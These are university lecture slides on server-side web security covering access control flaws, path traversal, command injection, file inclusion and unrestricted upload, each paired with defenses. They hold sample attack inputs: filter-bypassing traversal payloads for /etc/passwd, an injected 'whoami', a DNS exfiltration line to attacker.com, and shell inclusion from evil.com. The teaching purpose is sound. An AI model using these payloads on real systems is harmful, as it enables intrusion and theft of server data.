# Security II - Server-Side Security

Stefano Calzavara

Università Ca' Foscari Venezia

March 19, 2020

Università
Ca'Foscari
Venezia

## Introduction

In this lecture, we will focus on three classes of problems which affect the server-side logic of the web application:

1. Access control issues: incorrect adoption of the authentication and authorization mechanisms
2. Code execution issues: bugs in the application logic which allow the attacker to execute code
3. File security issues: dangerous interactions between the web app and the underlying file system

We will not discuss database security, since it was already covered in the first module (Security I).

## Access Control

Access control vulnerabilities enable privilege escalation:

1. vertical: the attacker gets access to data and functionality of users with a more powerful role, e.g., administrators
2. horizontal: the attacker gets access to data and functionality of users with the same role, but different identity, e.g., another customer
3. context-aware: the attacker gets access to data and functionality which should only be available in a web application state different from the current one, e.g., bypassing intended security checks

## Access Control Flaw: Unprotected Functionality

Example: security-critical functionality is only linked from the admin profile and not from standard user profiles.

```
<a href="https://foo.com/admin/delete?user=alice">Delete</a>
```

Including a secret in the URL is a sub-optimal solution:

- the secret could be guessed / brute-forced by the attacker
- the secret could be leaked in other parts of the web application, for example in the `robots.txt` file

## Other Access Control Flaws

Parameter-based access control: access control is performed by means of parameters containing the role of the authenticated user.

```
https://foo.com/accounts.jsp?role=1
```

Similar issues arise when authorization information is stored in other parts of the client side, e.g., in cookies.

Insecure Direct Object References: a web application uses user-supplied input to directly access objects (files, database records, etc.).

```
https://foo.com/accounts/12144.txt
```

## Other Access Control Flaws

Method-based access control: access control checks are only performed for some HTTP methods, e.g., POST, but the back-end also accepts other HTTP methods, e.g., GET.

Multi-step processes: access control checks at step $n+1$ of a transaction do not check the successful completion of the previous $n$ steps. This is a problem when some security checks are performed at step $i \leq n$.

```
https://foo.com/admin/delete?user=alice&confirmed=true
```

## Preventing Access Control Vulnerabilities

A few useful advices:

1. Mistrust the client!
2. Never rely on obfuscation alone for access control
3. Always perform authentication and authorization, denying by default
4. Use a single application-wide mechanism for access control
5. Keep track of state information along multi-step processes
6. For critical actions, force re-authentication

## Path Traversal

Path traversal is a well-known web security vulnerability which allows the attacker to read arbitrary files from the web server.

Assume the web application loads images using tags like this:

```
<img src="/loadImage?filename=218.png">
```

This is a relative path, which starts from the base directory of images, say `/var/www/images/`

The attacker can try to access the password file as follows:

```
https://foo.com/loadImage?filename=../../../etc/passwd
```

## Path Traversal: Bypasses

Okay, we will fix this stuff...

1. Relative paths are bad, let's use absolute paths everywhere

```
?filename=/etc/passwd
```

2. Let's strip the nasty `../` sequence

```
?filename=....//....//....//etc/passwd
```

3. Let's make the stripping recursive then...

```
?filename=%2e%2e/%2e%2e/%2e%2e/etc/passwd
```

## Path Traversal: Bypasses

Got it, let's try out different approaches:

1. Let's require the HTTP parameter to start with the base directory, say `/var/www/images/`

```
?filename=/var/www/images/../../../etc/passwd
```

2. Let's require the HTTP parameter to end with the right extension, say `.png`

```
?filename=../../../etc/passwd%00.png
```

Note that the last attack (null byte attack) is PHP-specific!

## Path Traversal: Breaking Integrity

Path traversal is typically presented as an attack against confidentiality, but it can also be used to breach integrity.

```
<?php
  $uploaded = $_FILES["upfile"];
  $dest = sprintf("./uploads/%s", $uploaded["name"]);
  move_uploaded_file($uploaded["tmp_name"], $dest);
?>
```

By sending a file with name `../index.php`, the attacker might be able to take control of the web application by overwriting its logic!

## Protecting Against Path Traversal

Like for most injection vulnerabilities, the most important rule to keep in mind against path traversal is: don't do it by yourself!

1. use an existing API to canonicalize the filename, i.e., to uniquely resolve it into an absolute path
2. perform the security checks over the canonicalized filename, e.g., check that it starts with the expected base directory

```
File file = new File(BASE_DIR, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIR)) {
    // process file
}
```

## Command Injection

Command injection is an infamous web security vulnerability which allows the attacker to execute arbitrary OS commands on the server.

Assume the web application offers access to stock information like this:

```
https://foo.com/stock?prodID=381&storeID=29
```

The backend calls a shell command with the supplied arguments:

```
stockreport.pl 381 29
```

The attacker can try to get access to the current user identity as follows:

```
https://foo.com/stock?prodID=381&storeID=29%3Bwhoami
```

## Useful Commands and Metacharacters

Useful commands and metacharacters depend on the underlying OS. We overview some examples for Linux.

**Commands**

`whoami`   `uname -a`   `ps aux`   `wget`

**Metacharacters**

`&`   `&&`   `|`   `||`   `;`

## Blind Command Injection

Since command injection leverages a call to an OS command, most of the times the attacker is forced to play blind. In particular, the following side-channels are useful to identify room for command injection:

1. time delays, e.g., `ping -c 10 127.0.0.1`
2. output redirection, e.g., `whoami > /var/www/static/whoami.txt`
3. domain resolution, e.g., `nslookup canary.attacker.com`

It is also possible to leverage backticks to evaluate a command on the fly and exfiltrate its output, for example:

```
nslookup `whoami`.attacker.com
```

## Preventing Command Injection

The best way to defend against command injection is to avoid calls to external OS commands

- most of the times, you can use application-level libraries for the same task
- if this is not possible, sanitize your input by using existing libraries, e.g., `shlex.quote` in Python
- separate commands from parameters by using the APIs of your programming language, e.g., `subprocess.call` in Python

## File Inclusion Vulnerabilities

A file inclusion vulnerability happens when a web application includes server-side code without appropriate sanitization. We will discuss this in the context of PHP, but other languages like JSP are also vulnerable.

```
<?php
  if (isset($_GET['page']))
    include($_GET['page'] . '.php');
?>
```

Do you see the problem here?

## File Inclusion Vulnerabilities

Regular usage:

```
https://foo.com/index.php?page=contacts.php
```

Malicious usages:

- Denial of service: `?page=index.php`
- Remote file inclusion: `?page=https://evil.com/shell.php`
- Local file inclusion: `?page=/uploads/shell.php`
- Data exfiltration: `?page=../../etc/passwd`

Current PHP configurations prevent remote file inclusion by default.

## Preventing File Inclusion Vulnerabilities

The best solution against file inclusion vulnerabilities is to use a whitelist of allowed resources for inclusion

- since file inclusion is dangerous, it should be sparingly used, which makes it amenable for white-listing
- if this is not possible, sanitize your input by canonicalizing the filename like in the case of path traversal
- reasonable approach: enforce a base directory after canonicalization

## Unrestricted File Upload

Uploaded files represent a significant risk to web apps: after uploading code, the attacker only needs to find a way to get it executed.

It might be surprising to realize that many files are dangerous:

- HTML: enabler for stored XSS
- SVG: supports inline JavaScript (sigh...)

Important: how do we realize the actual file type for blacklisting?

## Example: GIFAR

Simple experiment on your Linux system!

1. Execute the following command:

```
cat image.gif malware.jar > gifar.gif
```

2. Execute the following command and check the output:

```
file gifar.gif
```

3. Execute the following command and check the output:

```
unzip -l gifar.gif
```

## Example: GIFAR

What's the problem here?

- GIF images carry information on file format in the first bytes
- the `file` command implements a sophisticated heuristic to infer the file type, but would privilege the information in the header if present
- JAR archives carry information on file format in the last bytes
- the `unzip` command is supposed to operate on ZIP files, hence will look for information in the last bytes: the extra bytes at the start of the file are discarded by `unzip`

## UFU Meets RFI

Sometimes the upload logic is hidden within the web application, e.g., the attack against the TimThumb plugin for Wordpress (2011)

- the TimThumb image resizing plugin for Wordpress allowed the creation of thumbnails of images stored on trusted third-party sites
- the images were stored and cached in a public directory
- simple use: `timthumb.php?src=http://trusted.com/image.gif`

Place a PHP shell in the public directory as follows:

```
timthumb.php?src=http://trusted.com.evil.com/shell.php
```

## Preventing Unrestricted File Upload

Unrestricted file upload is complicated to deal with:

- sanitize the content of the filename (for integrity)
- file extensions cannot be trusted, but white-listing them is useful because some programs require specific extensions on files
- the `Content-Type` header is useless, because it is forgeable
- check / sanitize / re-encode the content of the uploaded files
- restrict upload operations to authenticated users
- put the uploaded files out of the webroot / on an external domain
- put a limit on the file size to avoid denial of service